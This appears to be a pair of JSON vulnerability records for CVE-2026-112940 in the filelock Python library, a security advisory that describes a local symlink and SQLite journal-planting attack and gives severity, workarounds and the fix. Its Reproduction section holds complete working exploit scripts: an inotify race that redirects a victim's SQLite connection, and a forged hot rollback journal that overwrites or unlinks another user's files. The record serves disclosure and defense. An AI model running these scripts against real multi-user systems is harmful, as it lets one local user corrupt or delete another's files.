{
  "affected": [
    {
      "affectedData": [
        {
          "product": "filelock",
          "vendor": "tox-dev",
          "versions": [
            {
              "status": "affected",
              "version": "\u003e= 3.20.4, \u003c 4.2.1"
            }
          ]
        }
      ],
      "source": "security-advisories@github.com"
    }
  ],
  "configurations": [
    {
      "nodes": [
        {
          "cpeMatch": [
            {
              "criteria": "cpe:2.3:a:tox-dev:filelock:*:*:*:*:*:python:*:*",
              "matchCriteriaId": "F5BD9CEB-E809-4F5B-9563-4552CDED5BBD",
              "versionEndExcluding": "4.2.1",
              "versionStartIncluding": "3.20.4",
              "vulnerable": true
            }
          ],
          "negate": false,
          "operator": "OR"
        }
      ]
    }
  ],
  "cveTags": [],
  "descriptions": [
    {
      "lang": "en",
      "value": "filelock is a platform-independent file lock for Python. From 3.20.4 until 4.2.1, ReadWriteLock let SQLite reopen the database and side files by name; on POSIX systems an attacker with rename access in a non-sticky parent can swap those names to cause overwrite or unlink operations, while a writable adjacent hot journal is additionally required for attacker-chosen content overwrites. This issue is fixed in version 4.2.1."
    }
  ],
  "id": "CVE-2026-112940",
  "lastModified": "2026-10-22T22:18:02.827",
  "metrics": {
    "cvssMetricV31": [
      {
        "cvssData": {
          "attackComplexity": "LOW",
          "attackVector": "LOCAL",
          "availabilityImpact": "HIGH",
          "baseScore": 7.1,
          "baseSeverity": "HIGH",
          "confidentialityImpact": "NONE",
          "integrityImpact": "HIGH",
          "privilegesRequired": "LOW",
          "scope": "UNCHANGED",
          "userInteraction": "NONE",
          "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H",
          "version": "3.1"
        },
        "exploitabilityScore": 1.8,
        "impactScore": 5.2,
        "source": "security-advisories@github.com",
        "type": "Secondary"
      }
    ],
    "ssvcV203": [
      {
        "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
        "ssvcData": {
          "id": "CVE-2026-112940",
          "options": [
            {
              "exploitation": "poc"
            },
            {
              "automatable": "no"
            },
            {
              "technicalImpact": "partial"
            }
          ],
          "role": "CISA Coordinator",
          "timestamp": "2026-10-22T21:29:06.989000Z",
          "version": "2.0.3"
        }
      }
    ]
  },
  "published": "2026-10-20T15:17:16.827",
  "references": [
    {
      "source": "security-advisories@github.com",
      "tags": [
        "Patch"
      ],
      "url": "https://github.com/tox-dev/filelock/commit/5e3f2ec0c5fb17cb2635b60b2b68bc63ab81ca2d"
    },
    {
      "source": "security-advisories@github.com",
      "tags": [
        "Patch"
      ],
      "url": "https://github.com/tox-dev/filelock/pull/834"
    },
    {
      "source": "security-advisories@github.com",
      "tags": [
        "Release Notes"
      ],
      "url": "https://github.com/tox-dev/filelock/releases/tag/4.2.1"
    },
    {
      "source": "security-advisories@github.com",
      "tags": [
        "Exploit",
        "Mitigation",
        "Patch",
        "Vendor Advisory"
      ],
      "url": "https://github.com/tox-dev/filelock/security/advisories/GHSA-v4x8-3wr5-3wq8"
    },
    {
      "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
      "tags": [
        "Exploit",
        "Mitigation",
        "Patch",
        "Vendor Advisory"
      ],
      "url": "https://github.com/tox-dev/filelock/security/advisories/GHSA-v4x8-3wr5-3wq8"
    }
  ],
  "sourceIdentifier": "security-advisories@github.com",
  "vulnStatus": "Modified",
  "weaknesses": [
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-363"
        }
      ],
      "source": "security-advisories@github.com",
      "type": "Secondary"
    },
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-59"
        }
      ],
      "source": "nvd@nist.gov",
      "type": "Primary"
    }
  ]
}

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 4.2.0"
      },
      "package": {
        "ecosystem": "PyPI",
        "name": "filelock"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "3.20.4"
            },
            {
              "fixed": "4.2.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-112940"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-363",
      "CWE-59"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-10-23T21:59:08Z",
    "nvd_published_at": "2026-10-20T15:17:16Z",
    "severity": "HIGH"
  },
  "details": "`ReadWriteLock` and `AsyncReadWriteLock` (the SQLite-backed reader/writer lock) hand SQLite a name they do not control. On Linux the lock validates its database through a descriptor (the number the kernel gives a process for an open file). It then connects SQLite to `/proc/self/fd/\u003cn\u003e`, a Linux path that names the process\u0027s own open file `n`. SQLite turns that path back into a plain path and reopens it by name, following symlinks (a symlink is a file that points at another path). On every POSIX route SQLite also acts on `-journal`, `-wal` and `-shm` files it finds beside that name. Those are SQLite\u0027s side files: the rollback journal (pages saved to undo an interrupted write), the write-ahead log or WAL (changes kept outside the main file), and the shared-memory index for the WAL.\n\nAnother local user who can create or rename entries in the directory that holds the lock database can turn this against the user running the lock (below: the lock user). Such a directory is a `0777` or group-writable cache, build or project directory without the sticky bit (a directory flag that lets only a file\u0027s owner remove or rename it). That other user can make the lock user\u0027s ordinary `read_lock()` or `write_lock()` write bytes of the other user\u0027s choosing into the lock user\u0027s own files. The same position lets the other user make that call create or unlink files of the lock user, admit a reader beside a writer, or kill the holder. All of this runs with the lock user\u0027s privileges. In a sticky directory such as `/tmp` a planted `-wal` file makes every acquire fail. Affected versions are filelock 3.20.4 through 4.2.0 (the `/proc/self/fd` redirect since 4.0.9, the side-file variants since 3.20.4).\n\nAnthropic\u0027s OSS Scanner reported this in private as `ANT-2026-KMJ2575J` [high, CWE-363]: ReadWriteLock: SQLite still follows planted symlinks, overwriting files.\n\n## Severity\n\n**CVSS 3.1 `CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H` scores 7.1 (High).** `AV:L` (local): the other user needs an account on the same host. `PR:L` (low privileges): an ordinary account is enough. `UI:N` (no user interaction). `AC:L` (low attack complexity): the planted-journal variant needs no race, and the redirect won 77 of 77 attempts. `I:H` (high integrity impact): the other user writes bytes of their choosing into files of the lock user and unlinks files of their choosing. `A:H` (high availability impact): the other user makes every acquire fail or kills the lock holder. `C:N` (no confidentiality impact): the other user learns nothing. `S:U` (scope unchanged): the effect stays within the lock user\u0027s own privileges.\n\nClassification from the external review: **conditional security**, a cross-user effect that exists only when another user can change names in the lock database\u0027s directory. The review notes that the 77/77 inotify result (inotify is a Linux interface that reports file events) is stronger evidence than a theoretical TOCTOU (a time-of-check to time-of-use race). The scanner rated it high. The review accepts the mechanism and narrows it to that precondition.\n\n## Scope and preconditions\n\n- The other party is a different local account that can create or rename entries in the directory that holds the lock database. That is a `0777` directory or a group-writable one (including a setgid `2775` project directory shared with that account), in each case without the sticky bit. The lock user\u0027s lock must be able to open the database read-write, so a database the other user creates is `0666`. filelock itself creates the database `0600`.\n- Sticky directories (`/tmp`, `/var/tmp`, any `1777` directory) narrow the finding rather than exclude it. The redirect and the journal replay do not reach a database the lock user owns there (tested with `fs.protected_regular=2`). What remains is a planted non-empty `\u003cdb\u003e-wal` (any mode; a directory or FIFO works too) that the lock user cannot unlink. It makes every acquire raise `sqlite3.OperationalError: disk I/O error`. A hard link (a second name for the same file) to a file of the lock user at the lock path also remains, if `fs.protected_hardlinks=0`.\n- Two kernel settings matter. `fs.protected_regular` (1 or 2 is the systemd default on most distributions; the kernel\u0027s own default is 0) keeps a user from opening a file another user owns in a sticky world-writable directory. Where it is 0, the other user can own the database in `/tmp`, and SQLite follows a planted symlink itself (not tested). `fs.protected_hardlinks=1` (most distributions; kernel default 0) blocks a hard link of a lock user\u0027s file onto the lock path. Neither setting affects a non-sticky shared directory.\n- Platform and route. The `/proc/self/fd` redirect is Linux with `/proc` mounted, 4.0.9 and later. The side-file variants (`-journal`, `-wal`, `-shm`) exist on every POSIX route. On the hard-link route (macOS since 4.1.1 for every connection, Linux without `/proc`) they need the link-directory swap described under \"Mechanism\", so a non-sticky parent. Neither the scanner nor the review executed on macOS; the statement rests on the platform branch and the identical code after it. Windows does not take this path.\n- Ancestor boundary. Protection against another local user is possible only while no other user can replace the lock\u0027s directory or any of its ancestors. That holds when each ancestor belongs to the user or root and is either not writable by others or sticky. A user who can rename an entry in a non-sticky directory above the lock controls every name below it. No file-based lock can defend against that.\n\n## Affected code\n\nAt the scanned commit `b831496b0273`: [`_connect_through_descriptor` builds `/proc/self/fd/\u003cn\u003e` and hands it to `sqlite3.connect`](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_read_write.py#L982-L1001). The assumption is the [comment at line 63](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_read_write.py#L63), \"Descriptor paths reopen the validated inode\" (an inode is the kernel\u0027s identity for a file, independent of its name). SQLite first reads the file it opened at [`PRAGMA journal_mode=MEMORY`, line 816](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_read_write.py#L816). The check in [`_raise_if_database_replaced` at line 836](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_read_write.py#L836) runs only after `BEGIN`. Both [`_open_lock_database`](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_read_write.py#L1079-L1091) and [`_raise_if_wal`](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_read_write.py#L1094-L1101) inspect the descriptor, not the file SQLite is on. The one-level hard link of the macOS route is [`_link_beside`](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_read_write.py#L1014-L1029).\n\n## Introduced\n\nThe `/proc/self/fd` redirect came with `4d45e83` (\"Merge commit from fork\", the fix for GHSA-j8f7-rjxc-mr56), first released in **4.0.9** (verified: `git tag --contains 4d45e83` gives 4.0.9); 4.0.8 does not have it. The side-file variants are older. They reproduce on `cfd4446` (\"feat(lock): add SQLite-based ReadWriteLock (#399)\"), first released in **3.20.4** (verified), which passed the lock path straight to `sqlite3.connect`.\n\n## Mechanism\n\nOn Linux the lock opens the database with `O_RDWR|O_CREAT|O_NOFOLLOW|O_NONBLOCK`. It checks through the descriptor that the file is a regular file and not a WAL database. It then calls `sqlite3.connect(\"/proc/self/fd/\u003cn\u003e\")` and expects SQLite to reopen the validated inode. SQLite does not open that name. It runs `readlink()` on it, which yields the path string the kernel reports for the descriptor at that moment, and opens that string by path, following every symlink. Without interference the trace shows `readlink(\"/proc/534/fd/3\") = \"/tmp/benign/app.lock.db\"` and then a second `openat` of that path. The descriptor contributes only a string. Once the directory entry behind the descriptor is gone, the string is `\u003cdatabase\u003e (deleted)`. A symlink with that exact name sends SQLite wherever its creator chose.\n\nThe other user prepares the directory before the lock user runs. They create a database `cache.lock.db` (`0666`, so the lock user\u0027s lock accepts it) with a second hard link `cache.lock.db.keep`, and the symlink `cache.lock.db (deleted) -\u003e /tmp/victim-notes.txt`. The lock user\u0027s `os.open` raises an inotify `IN_OPEN` event. The other user unlinks `cache.lock.db` and links `cache.lock.db.keep` back under the same name. The lock user\u0027s descriptor still refers to the unlinked entry, so `/proc/self/fd/3` now reads `/tmp/shared-cache/cache.lock.db (deleted)`. `sqlite3.connect` resolves it, follows the symlink and opens the target `O_RDWR|O_CREAT`. None of filelock\u0027s checks look at that file. `_open_lock_database` and `_raise_if_wal` inspect descriptor 3. `_raise_if_database_replaced` compares an `lstat` of the lock path with the descriptor\u0027s `(st_dev, st_ino)`, which passes because the other user linked the same inode back, and it runs only after `BEGIN`.\n\nThe damage comes from the first statement, `PRAGMA journal_mode=MEMORY`. SQLite finds `\u003ctarget\u003e-journal`, treats it as the rollback journal of an interrupted transaction, and copies its page records into the target before it checks whether the target is a database at all. The journal header supplies the page size and the page count SQLite resizes the file to. Whoever wrote the journal computed the per-page checksum. The content from offset 0 and the final length are therefore the other user\u0027s. Strace of the lock user\u0027s process (SQLite 3.40.1):\n\n```\nopenat(\"/tmp/shared-cache/cache.lock.db\", O_RDWR|O_CREAT|O_NONBLOCK|O_NOFOLLOW|O_CLOEXEC, 0600) = 3\nreadlink(\"/proc/3819/fd/3\", \"/tmp/shared-cache/cache.lock.db (deleted)\", 4096) = 41\nreadlink(\"/tmp/shared-cache/cache.lock.db (deleted)\", \"/tmp/victim-notes.txt\", 4096) = 21\nopenat(\"/tmp/victim-notes.txt\", O_RDWR|O_CREAT|O_NOFOLLOW|O_CLOEXEC, 0644) = 4\nopenat(\"/tmp/victim-notes.txt-journal\", O_RDWR|O_NOFOLLOW|O_CLOEXEC) = 5\npread64(5, \"ATTACKER CONTENT WRITTEN BY THE \"..., 4096, 516) = 4096\npwrite64(4, \"ATTACKER CONTENT WRITTEN BY THE \"..., 4096, 0) = 4096\nunlink(\"/tmp/victim-notes.txt-journal\") = -1 EPERM            -\u003e \"disk I/O error\"\n```\n\nThe redirect itself needs no journal. The constructor\u0027s validation connection already makes SQLite open the target with `O_CREAT`. With the symlink pointing at a missing path in the lock user\u0027s home, constructing the lock created that file (empty, `0644`, owned by the lock user) and raised nothing. With the symlink pointing at a `0600` WAL-mode SQLite database of the lock user, `write_lock()` returned without error and the database\u0027s header bytes 18 and 19 changed from `2 2` to `1 1`. The pragma converted the lock user\u0027s database out of WAL mode, and the redirected acquire held its SQLite lock on that database rather than on the lock database.\n\n**Side-file names beside the database.** Two comments record the belief that SQLite names its side files after the descriptor path ([line 63](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_read_write.py#L63), [line 1095](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_read_write.py#L1095)). The path is not synthetic to SQLite. It derives `\u003cdatabase\u003e-journal`, `\u003cdatabase\u003e-wal` and `\u003cdatabase\u003e-shm` from the resolved real path in the shared directory. `journal_mode=MEMORY` governs only journals SQLite would write, not ones it finds. These variants need no redirect.\n\n*A hot `-journal` makes the lock user unlink a file the journal names; no race.* The other user unlinks the lock user\u0027s empty `lock.db`, puts a one-page SQLite database (`0666`) in its place, and writes a 46-byte `lock.db-journal`: a path, its 4-byte length, the 4-byte sum of its bytes and SQLite\u0027s journal magic. SQLite treats a journal beside a non-empty database as hot (left by an interrupted transaction). The tail names a \"super-journal\", and recovery ends by unlinking that file. The lock user\u0027s next `read_lock()` or `write_lock()` returns without error and the named file is gone (`unlink(\"/home/victim/private/notes.txt\") = 0`, from a `0700` directory of the lock user). The named file must be a non-empty regular file the lock user can read and unlink. A FIFO planted as `lock.db-journal` instead blocks `read_lock(timeout=2)` in SQLite\u0027s `open()` of the journal (still blocked when killed after 10 s).\n\n*A re-planted `-wal` puts the holder in WAL mode past `_raise_if_wal`.* `_raise_if_wal` checks header bytes 18 and 19. Whenever a connection takes its first lock, SQLite stats `\u003cdb\u003e-wal`, and if that file and the database are both non-empty it opens the WAL whatever the header says. The pragma at line 816 converts such a database and unlinks `-wal` and `-shm`. The `BEGIN` at line 833 is a separate statement that starts unlocked and stats `\u003cdb\u003e-wal` again. Re-creating the 32-byte `-wal` in that gap landed on the first attempt in 20 of 20 runs on a 2-CPU machine.\n\nThe lock user\u0027s `with lock.write_lock():` then holds the `-shm` byte-120 WAL write lock and only SHARED on the database. Once the other user removes the `-wal`, a second process of the lock user gets `read_lock(timeout=1)` granted while the writer is inside its block, with no exception on either side. SQLite also creates `\u003cdb\u003e-shm` with the database\u0027s permission bits (`0666`) and keeps it mapped into memory. After the other user truncates it, the writer dies with `SIGBUS` (the signal for touching a mapped file region that no longer exists) in `connection.rollback()` during `release()`.\n\n*A `-wal` in a sticky directory makes every acquire raise; no race, no access to the database.* Beside the lock user\u0027s own empty `0600` database, a non-empty `\u003cdb\u003e-wal` (one byte, any mode; a directory or FIFO works too) is a leftover SQLite tries to delete. In a `1777` directory the lock user cannot unlink another user\u0027s file (`unlink(...) = -1 EPERM`), so the pragma fails with `SQLITE_IOERR_DELETE`. The code in [`_do_acquire_inner`](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_read_write.py#L763) translates only \"database is locked\" into `Timeout`. `sqlite3.OperationalError: disk I/O error` therefore leaves every `acquire_read()` / `acquire_write()` (and the async variants) within milliseconds, whatever `timeout` or `blocking` says, until the file\u0027s owner or root removes it.\n\n*Further effects observed at this commit in a non-sticky directory.* A `0755` script owned by the lock user, renamed to the lock path with a one-record journal beside it, ends up holding the other user\u0027s bytes (the acquire raises `file is not a database`). A hard link to the lock user\u0027s `0600` `~/.profile` at the lock path does the same in a sticky `/tmp` when `fs.protected_hardlinks=0`. When the locking process runs as root, SQLite runs `fchown` on a `-wal` or `-shm` it opens to match the owner of the database, so root\u0027s `0600` `service.env` renamed to `app.lock.db-wal` belonged to the other user after root\u0027s `read_lock()`.\n\nA journal whose super-journal names the database itself makes SQLite open and close a second descriptor on the database, which drops the process\u0027s POSIX locks, so `acquire_read` returns with no lock held in `/proc/locks` and a writer in another process acquires (two journals in a row, one per statement; write locks are not affected). A one-byte `lock.db-wal` plus a `lock.db-shm` on which the other user holds two byte locks makes the acquire take 10 s regardless of `timeout` and raise `locking protocol`, or die with `SIGBUS` if the other user truncates the `-shm`.\n\n**The hard-link route in a directory without the sticky bit.** None of the above occurs on the `_link_beside` branch (macOS, Linux without `/proc`). There SQLite\u0027s main file is `.filelock-\u2026/lock.db` in the connecting user\u0027s `0700` directory. That protection holds only where no other user can rename the `.filelock-*` entry itself, because `0700` protects the contents, not the entry in the parent. `_link_beside` checks the link once and returns a pathname, and every later use is by that name.\n\nWith `/proc` hidden in a `0777` directory, the other user staged a directory holding a hard link `lock.db` to a one-page database and a hot `lock.db-journal`. They held `BEGIN EXCLUSIVE` on the database so the lock user\u0027s first statement waited in the busy handler (SQLite\u0027s retry loop for a locked database), renamed the lock user\u0027s `.filelock-*` directory aside, renamed the staged directory onto its name and rolled back. SQLite got SHARED, found the journal under the swapped name and unlinked the file it named. The lock user\u0027s process reported the lock held and exited 0. A polling variant without the write lock also won (in 40 trials the file was gone after 1 to 26 starts of the lock user\u0027s program). Under the sticky bit the rename fails with `EPERM`.\n\n## Reproduction\n\nThe scanner\u0027s reproducer for `ANT-2026-KMJ2575J`, quoted as received. It ran against commit `b831496b0273`.\n\n**`repro`**\n\n```python\n#!/usr/bin/env python3\nimport os\nimport shutil\nimport subprocess\nimport sys\n\nas_victim = {\"user\": \"victim\", \"group\": \"victim\", \"extra_groups\": []}\nas_attacker = {\"user\": \"attacker\", \"group\": \"attacker\", \"extra_groups\": []}\n\n# set up: the lock database lives in a shared cache directory, 0777 and not sticky\nshared_dir = \"/tmp/shared-cache\"\nlock_db = shared_dir + \"/cache.lock.db\"\nshutil.rmtree(shared_dir, ignore_errors=True)\nos.mkdir(shared_dir)\nos.chmod(shared_dir, 0o777)\n\n# set up: a private 0600 file of the victim\u0027s in sticky /tmp, which the attacker cannot write\ntarget = \"/tmp/victim-notes.txt\"\nfor leftover in (target, target + \"-journal\"):\n    if os.path.lexists(leftover):\n        os.unlink(leftover)\noriginal = b\"original victim notes\\n\"\nwith open(target, \"wb\") as notes:\n    notes.write(original)\nshutil.chown(target, \"victim\", \"victim\")\nos.chmod(target, 0o600)\ndirect_write = subprocess.run(\n    [sys.executable, \"-c\", \"import sys; open(sys.argv[1], \u0027r+b\u0027)\", target], capture_output=True, text=True, **as_attacker\n)\nprint(\"attacker opening the target for writing:\", direct_write.stderr.strip().splitlines()[-1])\nassert direct_write.returncode != 0\n\n# attack: a hot journal beside the target, and a redirect of the victim\u0027s SQLite from the lock database to the target\ncontent = \"ATTACKER CONTENT WRITTEN BY THE VICTIM\u0027S ReadWriteLock\\n\"\nsubprocess.run([sys.executable, \"/tmp/repro.d/plant_hot_journal.py\", target, content], check=True, **as_attacker)\nredirect = subprocess.Popen(\n    [sys.executable, \"/tmp/repro.d/redirect_lock_db.py\", lock_db, target], stdout=subprocess.PIPE, text=True, **as_attacker\n)\nassert redirect.stdout.readline() == \"ready\\n\"\n\n# the victim takes its read lock; the attacker races each acquire, so the victim runs up to 20 times\nfor run in range(1, 21):\n    victim = subprocess.run(\n        [sys.executable, \"/tmp/repro.d/victim_app.py\", lock_db], capture_output=True, text=True, timeout=60, **as_victim\n    )\n    with open(target, \"rb\") as notes:\n        after = notes.read()\n    if after != original:\n        break\nredirect.kill()\nredirect.wait()\n\n# check: taking a lock on cache.lock.db must leave the victim\u0027s notes alone\nprint(f\"victim run {run}: exit status {victim.returncode}:\", (victim.stderr.strip() or \"no error\").splitlines()[-1])\nstatus = os.stat(target)\nprint(\"target owner, mode, size:\", status.st_uid, oct(status.st_mode \u0026 0o7777), status.st_size)\nprint(\"target before:\", original)\nprint(\"target after: \", after[:60])\nprint(\"BUG\" if after == content.encode().ljust(4096, b\"\\0\") else \"OK\")\n```\n\n**`repro.d/plant_hot_journal.py`**\n\n```python\n#!/usr/bin/env python3\n\"\"\"The attacker: leave a rollback journal beside TARGET whose one record restores TARGET\u0027s first page to CONTENT.\"\"\"\n\nimport os\nimport struct\nimport sys\n\ntarget, content = sys.argv[1], sys.argv[2].encode()\njournal_path = target + \"-journal\"\n\n# https://www.sqlite.org/fileformat2.html#the_rollback_journal\nJOURNAL_MAGIC = bytes.fromhex(\"d9d505f920a163d7\")\npage_size, sector_size, nonce = 4096, 512, 0x11223344\nrecord_count = 1\npages_after_rollback = 1  # SQLite truncates TARGET to this many pages\nheader = JOURNAL_MAGIC + struct.pack(\"\u003eIIIII\", record_count, nonce, pages_after_rollback, sector_size, page_size)\n\npage_number = 1  # page 1 starts at offset 0\npage_image = content.ljust(page_size, b\"\\0\")\n# SQLite\u0027s pager_cksum(): the nonce plus every 200th byte, counting down from page_size - 200\nchecksum = (nonce + sum(page_image[i] for i in range(page_size - 200, 0, -200))) \u0026 0xFFFFFFFF\nrecord = struct.pack(\"\u003eI\", page_number) + page_image + struct.pack(\"\u003eI\", checksum)\n\nwith open(journal_path, \"wb\") as journal:\n    journal.write(header.ljust(sector_size, b\"\\0\") + record)\nos.chmod(journal_path, 0o666)  # the victim\u0027s SQLite opens a hot journal O_RDWR\n```\n\n**`repro.d/redirect_lock_db.py`**\n\n```python\n#!/usr/bin/env python3\n\"\"\"The attacker: make the victim\u0027s SQLite, connecting through /proc/self/fd/\u003cn\u003e, open TARGET instead of LOCK_DB.\"\"\"\n\nimport ctypes\nimport os\nimport sys\n\nlock_db, target = sys.argv[1], sys.argv[2]\nspare_name = lock_db + \".keep\"\n\n# the attacker creates the lock database, world-writable so that the victim\u0027s ReadWriteLock accepts it\nos.close(os.open(lock_db, os.O_CREAT | os.O_WRONLY))\nos.chmod(lock_db, 0o666)\nos.link(lock_db, spare_name)\n\n# what /proc/\u003cpid\u003e/fd/\u003cn\u003e reads back as once the name the descriptor was opened through is unlinked\nos.symlink(target, lock_db + \" (deleted)\")\n\nIN_OPEN = 0x20\nlibc = ctypes.CDLL(None, use_errno=True)\ninotify = libc.inotify_init1(0)\nif libc.inotify_add_watch(inotify, lock_db.encode(), IN_OPEN) \u003c 0:\n    raise OSError(ctypes.get_errno(), \"inotify_add_watch\", lock_db)\nprint(\"ready\", flush=True)\n\nwhile True:\n    os.read(inotify, 4096)  # the victim\u0027s ReadWriteLock has opened the database and is validating its descriptor\n    os.unlink(lock_db)\n    os.link(spare_name, lock_db)  # the same inode back at the path, so filelock\u0027s later lstat sees no change\n```\n\n**`repro.d/victim_app.py`**\n\n```python\n#!/usr/bin/env python3\n\"\"\"The victim: an application that takes its shared read lock once, as in docs/how-to.rst.\"\"\"\n\nimport sys\n\nfrom filelock import ReadWriteLock\n\nrw = ReadWriteLock(sys.argv[1])\nwith rw.read_lock(timeout=5):\n    pass\n```\n\n## Attack sequence\n\nThe redirect, with `A` the other local user:\n\n```mermaid\nsequenceDiagram\n    participant A as other local user\n    participant V as lock user\u0027s process (filelock)\n    participant S as SQLite inside that process\n    participant K as kernel and filesystem\n    rect rgb(255, 214, 214)\n        Note over A,K: filelock 4.0.9 to 4.2.0 on Linux, lock directory 0777 without the sticky bit\n        A-\u003e\u003eK: create cache.lock.db (0666) and a second hard link cache.lock.db.keep\n        A-\u003e\u003eK: symlink \"cache.lock.db (deleted)\" pointing at /tmp/victim-notes.txt\n        A-\u003e\u003eK: write /tmp/victim-notes.txt-journal (hot rollback journal, one page record)\n        V-\u003e\u003eK: open(cache.lock.db, O_RDWR O_CREAT O_NOFOLLOW) gives fd 3, fstat says regular, header not WAL\n        K--\u003e\u003eA: inotify IN_OPEN on cache.lock.db\n        A-\u003e\u003eK: unlink(cache.lock.db) then link(cache.lock.db.keep, cache.lock.db)\n        V-\u003e\u003eS: sqlite3.connect(\"/proc/self/fd/3\")\n        S-\u003e\u003eK: readlink(/proc/self/fd/3) returns \"cache.lock.db (deleted)\"\n        S-\u003e\u003eK: open(\"cache.lock.db (deleted)\") follows the symlink to victim-notes.txt\n        V-\u003e\u003eS: PRAGMA journal_mode=MEMORY\n        S-\u003e\u003eK: open(victim-notes.txt-journal), pread page 1, pwrite it at offset 0 of victim-notes.txt\n        Note over V,K: victim-notes.txt (0600, 22 bytes) is now the other user\u0027s 4096-byte page image, the lock user sees \"disk I/O error\"\n        V-\u003e\u003eK: lstat(cache.lock.db) matches fd 3 identity, so _raise_if_database_replaced passes\n    end\n```\n\nThe side-file variants, which need no redirect:\n\n```mermaid\nflowchart TD\n    B0[\"acquire validates fd, connects SQLite by a name in the shared directory\"] --\u003e B1{\"what did the other user put beside the real path?\"}\n    B1 -- \"hot -journal beside a swapped-in one-page database\" --\u003e B2[\"PRAGMA replays the journal, then unlinks the super-journal file it names, acquire succeeds\"]\n    B1 -- \"-wal re-created between PRAGMA and BEGIN\" --\u003e B3[\"holder in WAL mode, reader admitted beside the writer, SIGBUS when -shm is truncated\"]\n    B1 -- \"-wal in a sticky directory the lock user cannot unlink\" --\u003e B4[\"every acquire raises OperationalError disk I/O error, timeout ignored\"]\n    B1 -- \"name unlinked and a (deleted) symlink planted\" --\u003e B5[\"SQLite opens the symlink target with O_CREAT\"]\n    classDef ok fill:#d8f3dc,stroke:#2d6a4f,color:#1b4332;\n    classDef bad fill:#ffd6d6,stroke:#c1121f,color:#5c0000;\n    classDef info fill:#cfe4ff,stroke:#1f6feb,color:#0b1f3a;\n    class B0,B1 info;\n    class B2,B3,B4,B5 bad;\n```\n\n## Evidence\n\nThe scanner\u0027s reproducer runs the documented `ReadWriteLock(path)` + `with rw.read_lock(timeout=5):` as user `victim` against `/tmp/shared-cache/cache.lock.db` (directory `0777`, not sticky) while user `attacker` holds the symlink and reacts to inotify. It first shows that `attacker` cannot write the target (`PermissionError: [Errno 13] Permission denied: \u0027/tmp/victim-notes.txt\u0027`). On the first `victim` run it prints `victim run 1: exit status 1: sqlite3.OperationalError: disk I/O error`, `target owner, mode, size: 1000 0o600 4096`, target before `b\u0027original victim notes\\n\u0027`, after `b\"ATTACKER CONTENT WRITTEN BY THE VICTIM\u0027S ReadWriteLock\\n\\x00...\"`, verdict `BUG`. Reacting to inotify redirected the first acquire in 77 of 77 runs. A plain unlink/link busy loop with no inotify also won on the first run. A process holding two `ReadWriteLock` instances on one database keeps an idle descriptor; a swap done a full second before the second acquire redirected it. The `-wal` re-plant landed on the first attempt in 20 of 20 runs. The journal-unlink variant needs no race.\n\nOur verification: the reproducer prints `BUG` on the scanned commit `b831496` and on the 4.2.0 image (`e2e7d70`). On the PR #834 head it prints `OK`: all 20 `victim` runs exit 0 with no error and the target stays `1000 0o600 22` bytes with its original content. The independent review also ran the sticky-directory `-wal` variant (a `0600` database owned by `victim` in a `1777` directory, other user plants `\u003cdb\u003e-wal`). 4.2.0 raises `OperationalError: disk I/O error`; the PR head takes read and write locks with the file still present.\n\n## Impact\n\nAnother local user who can write the non-sticky directory holding the database makes the lock user\u0027s process act on a file other than the lock database, with the lock user\u0027s privileges, on Linux. The process writes bytes of the other user\u0027s choosing from offset 0 into any non-empty regular file the lock user can write, resized to a whole number of pages, provided the other user can create `\u003cfile\u003e-journal` beside it (the lock user\u0027s own `0600` files in `/tmp` qualify). Without a journal the process creates an empty file at any path it may create, or converts a WAL-mode SQLite database of its own to rollback mode with no error. A journal beside a swapped-in database makes the process unlink one regular file of the other user\u0027s choosing per journal; the acquire succeeds and raises nothing. A process inside `write_lock()` stops excluding the lock user\u0027s other processes from `read_lock()`, and the holder can die from a `SIGBUS` that arrives in `release()`.\n\nIt is **not** reachable for a database the lock user owns in `/tmp` with `fs.protected_regular` 1 or 2. There only the planted `-wal` denial of service remains: every acquire raises an undocumented `sqlite3.OperationalError` that `Timeout` and `OSError` handlers do not catch. It is a bypass of the fix for GHSA-j8f7-rjxc-mr56 (4.0.9), which refused the symlink at the database path but followed it at `\u003cdatabase\u003e (deleted)`. Windows does not take this path.\n\n## Workarounds\n\n- Keep the `ReadWriteLock` database in a directory that only the locking account (or root) can write, with no group or other write bit. Make sure every ancestor belongs to that account or root and is either not writable by others or sticky. Do not share one `ReadWriteLock` database between accounts through a `0777` or group-writable directory. The lock creates its database `0600`, and leaving it that way keeps other accounts from supplying its content.\n- For a lock in a sticky directory keep `fs.protected_regular` at 1 or 2 and `fs.protected_hardlinks=1` (distribution defaults). Treat a sudden `sqlite3.OperationalError: disk I/O error` on every acquire as a foreign `\u003cdb\u003e-wal` beside the database that the file\u0027s owner or root has to remove.\n\n## Patched version\n\n4.2.1.\n\nFix: https://github.com/tox-dev/filelock/pull/834\n\n## Credits\n\nReported by Anthropic\u0027s OSS Scanner (automated analysis), 15 October 2026; reviewed by the maintainers.\n\n- 2026-10-15 23:08 UTC: report received (scan 